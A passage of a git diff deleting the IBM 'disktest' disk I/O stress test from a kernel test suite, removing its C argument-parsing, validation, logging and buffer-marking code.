-					args->stop_blk *= 1000000000;
-				}
-			} else {	/* only a single value given */
-				args->start_blk =
-				    (OFF_T) strtoul(optarg, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->start_blk <<= 10;
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->start_blk *= 1000;
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->start_blk <<= 20;
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->start_blk *= 1000000;
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->start_blk <<= 30;
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
-					args->start_blk *= 1000000000;
-				}
-			}
-			break;
-		case 's':
-			if (!isdigit((int)optarg[0])) {
-				pMsg(WARN, args,
-				     "-%c argument is non numeric.\n", c);
-				return (-1);
-			}
-			args->flags |= CLD_FLG_LBA_RNG;
-			if (strchr(optarg, ':') != NULL) {	/* we are given a range */
-				args->start_lba =
-				    (OFF_T) strtoul(optarg, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->start_lba <<= 10;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->start_lba *= 1000;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->start_lba <<= 20;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->start_lba *= 1000000;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->start_lba <<= 30;
-					leftovers++;	/* at the ':' */
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
-					args->start_lba *= 1000000000;
-					leftovers++;	/* at the ':' */
-				}
-				leftovers++;	/* should be at the next value */
-				if (!isdigit((int)leftovers[0])) {
-					pMsg(WARN, args,
-					     "-%c second argument is non numeric.\n",
-					     c);
-					return (-1);
-				}
-				args->stop_lba =
-				    (OFF_T) strtoul(leftovers, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->stop_lba <<= 10;
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->stop_lba *= 1000;
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->stop_lba <<= 20;
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->stop_lba *= 1000000;
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->stop_lba <<= 30;
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
-					args->stop_lba *= 1000000000;
-				}
-			} else {	/* only a single value given */
-				args->start_lba =
-				    (OFF_T) strtoul(optarg, &leftovers, 0);
-				if (leftovers == strchr(leftovers, 'k')) {	/* multiply by 2^10 */
-					args->start_lba <<= 10;
-				} else if (leftovers == strchr(leftovers, 'K')) {	/* multiply 10^3 */
-					args->start_lba *= 1000;
-				} else if (leftovers == strchr(leftovers, 'm')) {	/* multiply by 2^20 */
-					args->start_lba <<= 20;
-				} else if (leftovers == strchr(leftovers, 'M')) {	/* multiply by 10^6 */
-					args->start_lba *= 1000000;
-				} else if (leftovers == strchr(leftovers, 'g')) {	/* multiply by 2^30 */
-					args->start_lba <<= 30;
-				} else if (leftovers == strchr(leftovers, 'G')) {	/* multiply by 10^9 */
-					args->start_lba *= 1000000000;
-				}
-			}
-			break;
-		case '?':
-		default:
-			usage();
-			return (-1);
-		}
-	}
-	if (argv[optind] == NULL) {
-		pMsg(WARN, args, "Unspecified target.\n");
-		return (-1);
-	}
-	strncpy(args->device, argv[optind], (DEV_NAME_LEN - 1));
-	return 0;
-}
-
-int make_assumptions(child_args_t * args)
-{
-	char TmpStr[80];
-	struct stat stat_buf;
-	int rv;
-
-	if (!(args->flags & CLD_FLG_IOTYPS)) {
-		/* use stat to get file properties, and use to set -I */
-		rv = stat(args->device, &stat_buf);
-		if (0 == rv) {
-			if (IS_FILE(stat_buf.st_mode)) {
-				strncat(args->argstr, "(-I f) ",
-					(MAX_ARG_LEN - 1) -
-					strlen(args->argstr));
-				args->flags |= CLD_FLG_FILE;
-			} else if (IS_BLK(stat_buf.st_mode)) {
-				strncat(args->argstr, "(-I b) ",
-					(MAX_ARG_LEN - 1) -
-					strlen(args->argstr));
-				args->flags |= CLD_FLG_BLK;
-#ifndef WINDOWS
-			} else if (S_ISCHR(stat_buf.st_mode)) {
-				strncat(args->argstr, "(-I r) ",
-					(MAX_ARG_LEN - 1) -
-					strlen(args->argstr));
-				args->flags |= CLD_FLG_RAW;
-#endif
-			}
-		} else {
-			pMsg(WARN, args,
-			     "Can't get status on %s, defaulting to file, errno = %d\n",
-			     args->device, GETLASTERROR());
-			strncat(args->argstr, "(-I f) ",
-				(MAX_ARG_LEN - 1) - strlen(args->argstr));
-			args->flags |= CLD_FLG_FILE;
-		}
-	}
-	if ((args->flags & CLD_FLG_WFSYNC) && (0 == args->sync_interval)) {
-		pMsg(INFO, args,
-		     "Sync interval set to zero, assuming interval of 1.\n");
-		args->sync_interval = 1;
-	}
-
-	if (args->ltrsiz <= 0) {
-		sprintf(TmpStr, "(-B %d) ", TRSIZ * BLK_SIZE);
-		strncat(args->argstr, TmpStr,
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		args->ltrsiz = TRSIZ;
-		args->htrsiz = TRSIZ;
-	}
-	if (args->flags & CLD_FLG_LBA_RNG) {
-		args->start_blk = args->start_lba / args->htrsiz;
-		if (!(args->stop_lba < 0))
-			args->stop_blk = args->stop_lba / args->htrsiz;
-	}
-	if (args->flags & CLD_FLG_BLK_RNG) {
-		args->start_lba = args->start_blk * args->htrsiz;
-		if (!(args->stop_blk < 0))
-			args->stop_lba =
-			    (args->stop_blk * args->htrsiz) + (args->htrsiz -
-							       1);
-	}
-	/* if vsiz is still not set, try and get it from the file */
-	if ((args->vsiz <= 0) && (args->flags & CLD_FLG_FILE)) {
-		if (0 != get_file_size(args->device)) {	/* file size retrieved */
-			args->vsiz = get_file_size(args->device);
-		}
-	}
-	/* if vsiz is still not set, try and get it from the device */
-	if ((args->vsiz <= 0) && !(args->flags & CLD_FLG_FILE)) {
-		args->vsiz = get_vsiz(args->device);
-	}
-	/* if vsiz is still not set, set based on given range */
-	if ((args->vsiz <= 0)
-	    && (args->flags & (CLD_FLG_LBA_RNG | CLD_FLG_BLK_RNG))) {
-		if (!(args->stop_lba < 0))
-			args->vsiz = args->stop_lba + 1;
-		else
-			args->vsiz = args->start_lba + 1;
-	}
-	/* if vsiz is still not set, then set it to the default size */
-	if (args->vsiz <= 0) {
-		args->vsiz = VSIZ;
-	}
-	if (!(args->flags & CLD_FLG_VSIZ)) {
-		sprintf(TmpStr, N_ASSUME, args->vsiz);
-		strncat(args->argstr, TmpStr,
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-	}
-
-	if (args->stop_lba == -1) {
-		args->stop_lba = args->vsiz - 1;
-	}
-	if (args->stop_blk == -1) {
-		args->stop_blk = (args->stop_lba / (OFF_T) args->htrsiz);
-	}
-	if (args->t_kids == 0) {
-		sprintf(TmpStr, "(-K %d) ", KIDS);
-		strncat(args->argstr, TmpStr,
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		args->t_kids = KIDS;
-	}
-	if ((args->flags & (CLD_FLG_W | CLD_FLG_R)) == 0) {
-		if (args->flags & CLD_FLG_DUTY) {	/* no read/write but duty cycle specified */
-			if (args->rperc > 0) {
-				args->flags |= CLD_FLG_R;
-				strncat(args->argstr, "(-r) ",
-					(MAX_ARG_LEN - 1) -
-					strlen(args->argstr));
-			}
-			if (args->wperc > 0) {
-				args->flags |= CLD_FLG_W;
-				strncat(args->argstr, "(-w) ",
-					(MAX_ARG_LEN - 1) -
-					strlen(args->argstr));
-			}
-		} else {
-			strncat(args->argstr, "(-r) ",
-				(MAX_ARG_LEN - 1) - strlen(args->argstr));
-			args->flags |= CLD_FLG_R;
-		}
-	}
-	if (!(args->flags & CLD_FLG_PTYPS)) {
-		strncat(args->argstr, "(-c) ",
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		args->flags |= CLD_FLG_CPTYPE;
-	}
-	if (!(args->flags & CLD_FLG_SKTYPS)) {
-		strncat(args->argstr, "(-p R) ",
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		args->flags |= CLD_FLG_RANDOM;
-	}
-	if (!(args->flags & CLD_FLG_SKS)) {
-		if (args->start_blk == args->stop_blk) {	/* diskcache test, w/ no seek count set */
-			args->seeks = SEEKS;
-		} else if (args->flags & (CLD_FLG_BLK_RNG | CLD_FLG_LBA_RNG)) {	/* range set, w/ no seek count */
-			args->seeks = args->stop_blk - args->start_blk + 1;
-		} else {
-			/* if vsiz is available, calculated seeks are in terms of the largest transfer size */
-			args->seeks =
-			    (args->vsiz >
-			     0) ? (args->vsiz / args->htrsiz) : SEEKS;
-		}
-		if ((args->flags & CLD_FLG_LINEAR) && (args->flags & CLD_FLG_R)
-		    && (args->flags & CLD_FLG_W)) {
-			args->seeks *= 2;
-		}
-
-		if (!(args->flags & CLD_FLG_TMD)) {
-			sprintf(TmpStr, L_ASSUME, args->seeks);
-			strncat(args->argstr, TmpStr,
-				(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		}
-	}
-	if (!(args->flags & (CLD_FLG_SKS | CLD_FLG_TMD))
-	    || ((args->flags & CLD_FLG_CYC)
-		&& !(args->flags & (CLD_FLG_SKS | CLD_FLG_TMD)))) {
-		args->flags |= CLD_FLG_SKS;
-	}
-	if (args->flags & (CLD_FLG_LINEAR)) {
-		if (!(args->flags & (CLD_FLG_LUNU | CLD_FLG_LUND))) {
-			strncat(args->argstr, "(-p u) ",
-				(MAX_ARG_LEN - 1) - strlen(args->argstr));
-			args->flags |= CLD_FLG_LUNU;
-		}
-	}
-	normalize_percs(args);
-	if (!(args->flags & CLD_FLG_DUTY) && (args->flags & CLD_FLG_RANDOM)
-	    && !(args->flags & CLD_FLG_NTRLVD)) {
-		sprintf(TmpStr, "(-D %d:%d) ", args->rperc, args->wperc);
-		strncat(args->argstr, TmpStr,
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-		args->flags |= CLD_FLG_DUTY;
-	}
-	if ((args->delayTimeMin == 0) && (args->delayTimeMax == 0)
-	    && (args->ioTimeout == DEFAULT_IO_TIMEOUT)) {
-		strncat(args->argstr, "(-t 0:2m) ",
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-	}
-	if (!(args->flags & CLD_FLG_OFFSET)) {
-		strncat(args->argstr, "(-o 0) ",
-			(MAX_ARG_LEN - 1) - strlen(args->argstr));
-	}
-
-	return 0;
-}
-
-/*
- * checks validity of data after parsing
- * args and make assumtions. returns 0 on
- * success and -1 on failure.
- */
-int check_conclusions(child_args_t * args)
-{
-	extern unsigned long glb_flags;
-	struct stat stat_buf;
-	int rv;
-
-	if ((args->flags & CLD_FLG_DUTY)
-	    && ((args->flags & CLD_FLG_LINEAR)
-		|| (args->flags & CLD_FLG_NTRLVD))) {
-		pMsg(WARN, args,
-		     "Duty cycle testing is supported for random (-pR) tests only.\n");
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_BLK_RNG) && (args->flags & CLD_FLG_RTRSIZ)) {
-		pMsg(WARN, args,
-		     "Can't have unfixed block sizes and specify seek range in terms of blocks.\n");
-		return (-1);
-	}
-	if ((args->vsiz < 0) || (args->ltrsiz < 1) || (args->htrsiz < 1)) {
-		pMsg(WARN, args,
-		     "Bounds exceeded for transfer size and/or volume size.\n");
-		pMsg(WARN, args, MAXTRSIZ, (args->htrsiz * BLK_SIZE),
-		     args->vsiz);
-		return (-1);
-	}
-	if (args->htrsiz < args->ltrsiz) {
-		pMsg(ERR, args,
-		     "Min transfer size, %lu, greater then Max transfer size, %lu.\n",
-		     args->ltrsiz, args->htrsiz);
-		return (-1);
-	}
-	if (args->vsiz < (args->stop_lba - args->start_lba + 1)) {
-		pMsg(ERR, args, "Volume stop block/lba exceeds volume size.\n");
-		return (-1);
-	}
-	if (args->vsiz < args->htrsiz) {
-		pMsg(WARN, args, VSIZETS, args->vsiz, args->htrsiz);
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_TMD) == 0 && (args->seeks <= 0)) {
-		pMsg(WARN, args, TSEEK, args->seeks);
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_SKS) && (args->t_kids > args->seeks)) {
-		pMsg(WARN, args,
-		     "Can't have more children then max number of seeks, use -K/-L to adjust.\n");
-		return (-1);
-	}
-	if ((args->start_blk > args->vsiz)
-	    && !(args->flags & (CLD_FLG_BLK_RNG | CLD_FLG_LBA_RNG))) {
-		pMsg(WARN, args, STBGTTLBA, args->start_blk,
-		     (args->vsiz / args->htrsiz));
-		return (-1);
-	}
-	if ((args->stop_blk > args->vsiz)
-	    && !(args->flags & (CLD_FLG_BLK_RNG | CLD_FLG_LBA_RNG))) {
-		pMsg(WARN, args, SBGTTLBA, args->stop_blk,
-		     (args->vsiz / args->htrsiz));
-		return (-1);
-	}
-	if ((args->start_lba > args->vsiz)
-	    && !(args->flags & (CLD_FLG_BLK_RNG | CLD_FLG_LBA_RNG))) {
-		pMsg(WARN, args, STLBAGTLBA, args->start_lba, args->vsiz);
-		return (-1);
-	}
-	if ((args->stop_lba > args->vsiz)
-	    && !(args->flags & (CLD_FLG_BLK_RNG | CLD_FLG_LBA_RNG))) {
-		pMsg(WARN, args, SLBAGTLBA, args->stop_lba, args->vsiz);
-		return (-1);
-	}
-	if (args->start_blk > args->stop_blk) {
-		pMsg(WARN, args, SBRSB, args->stop_blk, args->start_blk);
-		return (-1);
-	}
-	if (args->start_lba > args->stop_lba) {
-		pMsg(ERR, args, SLBARSLBA, args->stop_lba, args->start_lba);
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_LBA_RNG) && (args->flags & CLD_FLG_BLK_RNG)) {
-		pMsg(ERR, args,
-		     "Can't specify range in both block and LBA, use -s or -S.\n");
-		return (-1);
-	}
-
-	/* use stat to get file properties, and test then agains specified -I */
-	rv = stat(args->device, &stat_buf);
-	if (0 == rv) {		/* no error on call to stat, compare against -I option */
-		/* files are usually file type */
-		if ((args->flags & CLD_FLG_FILE) && !IS_FILE(stat_buf.st_mode)) {
-			pMsg(ERR, args,
-			     "Can't open non-file filespec with file device type, -If.\n");
-			return (-1);
-		}
-		/* block devices, are usually block type */
-		if ((args->flags & CLD_FLG_BLK) && !IS_BLK(stat_buf.st_mode)) {
-			pMsg(ERR, args,
-			     "Can't open non-block filespec with block device type, -Ib.\n");
-			return (-1);
-		}
-#ifndef WINDOWS
-		/* raw devices, are usually character type */
-		if ((args->flags & CLD_FLG_RAW) && !S_ISCHR(stat_buf.st_mode)) {
-			pMsg(ERR, args,
-			     "Can't open non-raw filespec with raw device type, -Ir.\n");
-			return (-1);
-		}
-#else
-		if (args->flags & CLD_FLG_RAW) {
-			pMsg(ERR, args,
-			     "RAW IO type not supported in Windows, use direct IO instead.\n");
-			return (-1);
-		}
-#endif
-#ifdef _DEBUG
-	} else {
-		PDBG1(DBUG, args,
-		      "Can't get status on %s, assuming a new file, errno = %d\n",
-		      args->device, GETLASTERROR());
-#endif
-	}
-
-	if ((args->hbeat > 0) && (args->flags & CLD_FLG_TMD)
-	    && (args->hbeat > args->run_time)) {
-		pMsg(ERR, args,
-		     "Heartbeat should be at least equal to runtime, use -h/-T to adjust.\n");
-		return (-1);
-	}
-	if ((args->hbeat > 0) && !(args->flags & CLD_FLG_PRFTYPS)) {
-		pMsg(ERR, args,
-		     "At least one performance option, -P, must be specified when using -h.\n");
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_W) && !(args->flags & CLD_FLG_R)
-	    && (args->flags & CLD_FLG_CMPR)) {
-		pMsg(ERR, args, "Write only, ignoring option -E.\n");
-	}
-	if ((args->flags & CLD_FLG_TMD) && (args->flags & CLD_FLG_SKS)) {
-		pMsg(ERR, args,
-		     "Can't specify both -L and -T they are mutually exclusive.\n");
-		return (-1);
-	}
-	if (((args->flags & CLD_FLG_R) && !(args->flags & CLD_FLG_W))
-	    && (args->flags & CLD_FLG_ERR_MARK)) {
-		pMsg(ERR, args,
-		     "Can't specify mark on error, -Am, in read only mode.\n");
-		return (-1);
-	}
-	if (!(args->flags & CLD_FLG_ALLDIE) && (args->flags & CLD_FLG_ERR_MARK)) {
-		pMsg(ERR, args,
-		     "Can't specify mark on error, -Am, when continue on error is set.\n");
-		return (-1);
-	}
-	if ((glb_flags & GLB_FLG_KILL) && !(args->flags & CLD_FLG_ALLDIE)) {
-		pMsg(ERR, args,
-		     "Can't specify global kill, -Ag, when continue on error is set, -Ac.\n");
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_LINEAR) && !(args->flags & CLD_FLG_NTRLVD)
-	    && (args->flags & CLD_FLG_TMD)) {
-		pMsg(ERR, args, "Linear read / write test can not be timed.\n");
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_CMPR)
-	    && (args->cmp_lng > (args->ltrsiz * BLK_SIZE))) {
-		pMsg(ERR, args,
-		     "Compare length, %lu, is greater then transfer size, %lu\n",
-		     args->cmp_lng, args->ltrsiz * BLK_SIZE);
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_OFFSET) && (args->offset > args->stop_lba)) {
-		pMsg(ERR, args, LBAOFFGSLBA, args->offset, args->stop_lba);
-		return (-1);
-	}
-	if ((args->flags & CLD_FLG_OFFSET)
-	    && ((args->offset + args->ltrsiz - 1) > args->stop_lba)) {
-		pMsg(ERR, args, LBAOTSGSLBA, args->offset, args->ltrsiz,
-		     args->stop_lba);
-		return (-1);
-	}
-	return 0;
-}
diff --git a/testcases/kernel/io/disktest/parse.h b/testcases/kernel/io/disktest/parse.h
deleted file mode 100644
index d3e90d8..0000000
--- a/testcases/kernel/io/disktest/parse.h
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: parse.h,v 1.5 2008/02/14 08:22:23 subrata_modak Exp $
-*
-*/
-
-#ifndef _PARSE_H
-#define _PARSE_H
-
-#include <sys/stat.h>
-
-#ifdef WINDOWS
-#include "getopt.h"
-#define IS_FILE(x)	(_S_IFREG & x)
-#define IS_BLK(x)	(_S_IFCHR & x)
-
-#define L_ASSUME	"(-L %I64d) "
-#define N_ASSUME	"(-N %I64d) "
-#define MAXTRSIZ	"Max transfer size is %lu and Volume size is %I64d\n"
-#define VSIZETS		"Volume size, %I64d, is to small for transfer size, %lu.\n"
-#define TSEEK		"Total seeks of %I64d, is invalid.\n"
-#define SBRSB		"Stop Block of range, %I64d, must be greater the Start Block, %I64d.\n"
-#define SLBARSLBA	"Stop LBA of range, %I64d, must be greater the Start LBA, %I64d.\n"
-#define SLBAGTLBA	"Stop LBA, %I64d, greater then total volume LBAs, %I64d.\n"
-#define STLBAGTLBA	"Start LBA, %I64d, greater then total volume LBAs, %I64d.\n"
-#define SBGTTLBA	"Stop Block, %I64d, greater then total volume LBAs, %I64d.\n"
-#define STBGTTLBA	"Start Block, %I64d, greater then total volume LBAs, %I64d.\n"
-#define LBAOFFGSLBA	"LBA offset of %lu, is greater then stop LBA of %I64d\n"
-#define LBAOTSGSLBA	"LBA offset of %lu and transfer size of %lu, is greater then stop LBA of %I64d\n"
-#else
-#define IS_FILE(x)	S_ISREG(x)
-#define IS_BLK(x)	S_ISBLK(x)
-
-#define L_ASSUME	"(-L %lld) "
-#define N_ASSUME	"(-N %lld) "
-#define MAXTRSIZ	"Max transfer size is %lu and Volume size is %lld\n"
-#define VSIZETS		"Volume size, %lld, is to small for transfer size, %lu.\n"
-#define TSEEK		"Total seeks of %lld, is invalid.\n"
-#define SBRSB		"Stop Block of range, %lld, must be greater the Start Block, %lld.\n"
-#define SLBARSLBA	"Stop LBA of range, %lld, must be greater the Start LBA, %lld.\n"
-#define SLBAGTLBA	"Stop LBA, %lld, greater then total volume LBAs, %lld.\n"
-#define STLBAGTLBA	"Start LBA, %lld, greater then total volume LBAs, %lld.\n"
-#define SBGTTLBA	"Stop Block, %lld, greater then total volume LBAs, %lld.\n"
-#define STBGTTLBA	"Start Block, %lld, greater then total volume LBAs, %lld.\n"
-#define LBAOFFGSLBA	"LBA offset of %lu, is greater then stop LBA of %lld\n"
-#define LBAOTSGSLBA	"LBA offset of %lu and transfer size of %lu, is greater then stop LBA of %lld\n"
-#endif
-
-#include "main.h"
-#include "defs.h"
-
-int fill_cld_args(int, char **, child_args_t *);
-int make_assumptions(child_args_t *);
-int check_conclusions(child_args_t *);
-
-#endif
diff --git a/testcases/kernel/io/disktest/sfunc.c b/testcases/kernel/io/disktest/sfunc.c
deleted file mode 100644
index 5de1e84..0000000
--- a/testcases/kernel/io/disktest/sfunc.c
+++ /dev/null
@@ -1,668 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: sfunc.c,v 1.8 2009/02/26 12:02:23 subrata_modak Exp $
-*
-*/
-#include <sys/types.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <signal.h>
-#ifdef WINDOWS
-#include <winsock2.h>
-#include <process.h>
-#include <windows.h>
-#include <winbase.h>
-#include <winioctl.h>
-#else
-#ifdef AIX
-#include <sys/ioctl.h>
-#include <sys/devinfo.h>
-#endif
-#include <unistd.h>
-#include <ctype.h>
-#endif
-
-#include <time.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <string.h>
-#ifdef LINUX
-#include <endian.h>
-#endif
-
-#include "main.h"
-#include "sfunc.h"
-#include "defs.h"
-#include "globals.h"
-#include "io.h"
-#include "threading.h"
-
-/*
- * Generates a random 32bit number.
- */
-long Rand32(void)
-{
-	/*
-	 * based on the fact that rand returns
-	 * 0 - 0x7FFF
-	 */
-	long myRandomNumber = 0;
-
-	myRandomNumber = ((long)(rand() & 0x7FFF)) << 16;
-	myRandomNumber |= ((long)(rand() & 0x7FFF)) << 1;
-	myRandomNumber |= ((long)(rand() & 0x1));
-
-	return (myRandomNumber);
-}
-
-/*
- * Generates a random 64bit number.
- */
-OFF_T Rand64(void)
-{
-	OFF_T myRandomNumber = 0;
-
-	myRandomNumber = ((OFF_T) (rand() & 0x7FFF)) << 48;
-	myRandomNumber |= ((OFF_T) (rand() & 0x7FFF)) << 33;
-	myRandomNumber |= ((OFF_T) (rand() & 0x7FFF)) << 18;
-	myRandomNumber |= ((OFF_T) (rand() & 0x7FFF)) << 3;
-	myRandomNumber |= ((OFF_T) (rand() & 0x7));
-
-	return (myRandomNumber);
-}
-
-/*
-* could not find a function that represented a conversion
-* between a long long and a string.
-*/
-OFF_T my_strtofft(const char *pStr)
-{
-	OFF_T value = 0;
-	int bOct = 0, bHex = 0;
-
-	int neg = 0;
-
-	for (;; pStr++) {
-		switch (*pStr) {
-		case '0':
-			bOct = 1;
-			continue;
-		case 'x':
-			if (bOct)
-				bHex = 1;
-			continue;
-		case ' ':
-		case '\t':
-			continue;
-		case '-':
-			neg = 1;
-		 /*FALLTHROUGH*/ case '+':
-			pStr++;
-		}
-		break;
-	}
-	if ((!bOct) && (!bHex)) {
-		while (*pStr >= '0' && *pStr <= '9') {
-			value = (value * 10) + (*pStr++ - '0');
-		}
-	} else if (bHex) {
-		while ((*pStr >= '0' && *pStr <= '9') ||
-		       (*pStr >= 'A' && *pStr <= 'F') ||
-		       (*pStr >= 'a' && *pStr <= 'f')) {
-			if (*pStr >= '0' && *pStr <= '9')
-				value = (value << 4) + (*pStr++ - '0');
-			else if (*pStr >= 'A' && *pStr <= 'F')
-				value = (value << 4) + 10 + (*pStr++ - 'A');
-			else if (*pStr >= 'a' && *pStr <= 'f')
-				value = (value << 4) + 10 + (*pStr++ - 'a');
-		}
-	} else if (bOct) {
-		while (*pStr >= '0' && *pStr <= '7') {
-			value = (value * 8) + (*pStr++ - '0');
-		}
-	}
-	return (neg ? -value : value);
-}
-
-/*
-* prints messages to stdout. with added formating
-*/
-int pMsg(lvl_t level, const child_args_t * args, char *Msg, ...)
-{
-#define FORMAT "| %s | %s | %d | %s | %s | %s"
-#define TIME_FORMAT "%04d/%02d/%02d-%02d:%02d:%02d"
-#define TIME_FMT_LEN 20
-	va_list l;
-	int rv = 0;
-	size_t len = 0;
-	char *cpTheMsg;
-	char levelStr[10];
-	struct tm struct_time;
-	struct tm *pstruct_time;
-	char time_str[TIME_FMT_LEN];
-	time_t my_time;
-
-	extern unsigned long glb_flags;
-
-#ifndef WINDOWS
-	static pthread_mutex_t mTime = PTHREAD_MUTEX_INITIALIZER;
-#endif
-
-#ifndef WINDOWS
-	LOCK(mTime);
-#endif
-
-	time(&my_time);
-	pstruct_time = localtime(&my_time);
-	if (pstruct_time != NULL)
-		memcpy(&struct_time, pstruct_time, sizeof(struct tm));
-	else
-		memset(&struct_time, 0, sizeof(struct tm));
-#ifndef WINDOWS
-	UNLOCK(mTime);
-#endif
-
-	if ((glb_flags & GLB_FLG_QUIET) && (level == INFO))
-		return 0;
-
-	va_start(l, Msg);
-
-	if (glb_flags & GLB_FLG_SUPRESS) {
-		rv = vprintf(Msg, l);
-		va_end(l);
-		return rv;
-	}
-
-	switch (level) {
-	case START:
-		strcpy(levelStr, "START");
-		break;
-	case END:
-		strcpy(levelStr, "END  ");
-		break;
-	case STAT:
-		strcpy(levelStr, "STAT ");
-		break;
-	case INFO:
-		strcpy(levelStr, "INFO ");
-		break;
-	case DBUG:
-		strcpy(levelStr, "DEBUG");
-		break;
-	case WARN:
-		strcpy(levelStr, "WARN ");
-		break;
-	case ERR:
-		strcpy(levelStr, "ERROR");
-		break;
-	}
-
-	sprintf(time_str, TIME_FORMAT, struct_time.tm_year + 1900,
-		struct_time.tm_mon + 1,
-		struct_time.tm_mday,
-		struct_time.tm_hour, struct_time.tm_min, struct_time.tm_sec);
-
-	len += strlen(FORMAT);
-	len += strlen(time_str);
-	len += strlen(levelStr);
-	len += sizeof(pid_t) * 8 + 1;
-	len += strlen(VER_STR);
-	len += strlen(args->device);
-	len += strlen(Msg);
-
-	if ((cpTheMsg = (char *)ALLOC(len)) == NULL) {
-		printf
-		    ("Can't print formatted message, printing message raw.\n");
-		rv = vprintf(Msg, l);
-		va_end(l);
-		return rv;
-	}
-
-	memset(cpTheMsg, 0, len);
-	sprintf(cpTheMsg, FORMAT, time_str, levelStr, args->pid, VER_STR,
-		args->device, Msg);
-
-	rv = vprintf(cpTheMsg, l);
-	FREE(cpTheMsg);
-
-	va_end(l);
-	return rv;
-}
-
-OFF_T getByteOrderedData(const OFF_T data)
-{
-	OFF_T off_tpat = 0;
-
-#ifdef WINDOWS
-	unsigned char *ucharpattern;
-	size_t i = 0;
-
-	ucharpattern = (unsigned char *)&data;
-	for (i = 0; i < sizeof(OFF_T); i++) {
-		off_tpat |=
-		    (((OFF_T) (ucharpattern[i])) << sizeof(OFF_T) *
-		     ((sizeof(OFF_T) - 1) - i));
-	}
-#endif
-
-#ifdef AIX
-	off_tpat = data;
-#endif
-
-#ifdef LINUX
-#if __BYTE_ORDER == __LITTLE_ENDIAN
-	unsigned char *ucharpattern;
-	size_t i = 0;
-
-	ucharpattern = (unsigned char *)&data;
-	for (i = 0; i < sizeof(OFF_T); i++) {
-		off_tpat |=
-		    (((OFF_T) (ucharpattern[i])) << sizeof(OFF_T) *
-		     ((sizeof(OFF_T) - 1) - i));
-	}
-#else
-	off_tpat = data;
-#endif
-#endif
-
-	return off_tpat;
-}
-
-void mark_buffer(void *buf, const size_t buf_len, void *lba,
-		 const child_args_t * args, const test_env_t * env)
-{
-	OFF_T *plocal_lba = lba;
-	OFF_T local_lba = *plocal_lba;
-	OFF_T *off_tbuf = buf;
-	OFF_T off_tpat = 0, off_tpat2 = 0, off_tpat3 = 0, off_tpat4 = 0;
-	OFF_T pass_count = env->pass_count;
-	OFF_T start_time = (OFF_T) env->start_time;
-	unsigned char *ucharBuf = (unsigned char *)buf;
-	size_t i = 0;
-	extern char hostname[];
-
-	off_tpat2 = getByteOrderedData(pass_count);
